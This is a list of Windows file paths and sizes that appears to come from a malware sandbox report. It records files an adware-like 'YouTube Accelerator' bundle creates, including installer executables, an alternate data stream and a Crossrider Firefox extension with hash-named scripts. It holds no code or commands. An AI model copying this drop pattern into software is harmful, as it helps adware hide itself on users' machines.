%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (237 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (65 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (155 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (700 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (671 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (430 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (266 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (413 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (106 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (98 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (290 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (372 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (135 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (479 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (421 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (421 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (196 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (188 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (266 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (442 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (57 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (40 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (53 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (188 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (45 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (36 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (36 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1192_YouTubeAcceleratorService.log (249309 bytes)
C:\Windows\Temp\SBC61FD.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_1192.log (591 bytes)
C:\Windows\Temp\SBC711E.tmp (51193 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC652E.tmp (547 bytes)
C:\Windows\Temp\SBC692E.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6515 bytes)
C:\Windows\Temp\SBC6C3C.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBCAA38.tmp (547 bytes)
C:\ProgramData\TEMP:56E2E879 (244 bytes)
C:\Windows\Temp\SBC6B32.tmp (98 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_32428\shopperpro.exe (18017 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_15393\ins_postInst.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_13315\ins_postInst.exe (7547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_1192.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA821.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8B4.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA96B.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA948.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8B2.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8C5.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA96D.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA983.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1540.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA891.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA981.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA94A.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2364_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA96F.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (199649 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8C7.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbkA8D9.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2364_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1192_YouTubeAcceleratorService.log_tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2364.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1540_YouTubeAccelerator.log (14459 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1540_YouTubeAccelerator.log_tmp (3 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2364_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f196abaaa1976d3fc35e3e3f248afafc.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\93.js (957 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5c14a472c8ff73ed24766a0ebd9dae67.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d266b8d59a75b06c6415ec863f783f46.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\36a4a83520b5c7ed8460b114ca0ae693.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\996a90dbaa3ba7ea246bd8b387dad8a8.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d71c98931bb9e1e276dc5f261e188675.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c6d93c1087d74d3fc8efce80d81e1f3b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\11633f3d0d0f7ab70897ff5f6e8c416e.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\268.js (497 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2cb0240f69129f1cf7f53b34fba25fb0.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\054e216996b97c054c9a21cddc2f3a9e.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\64f43eb2170732ed757d66c92c4f22a9.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2818793ea9bfce6939860ab9c3a7901b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9bd1a3fa7bae842ed6c23f6478e04446.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5301716f4e8900b27ac84b1778e82579.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (925 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9e625825bcc15c20f11faa4be2233372.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ee2c2a5600b837c47ea29bf2aac75f0c.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\87efb3fe429a7a28ae4c6ca3762ce1d5.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c2ed8a54100a49453d1c6d652710aa01.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c0c67980b8574c2a91841001e377713e.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b35fff4960f0544522b5840aa09d5d02.js (13 bytes)
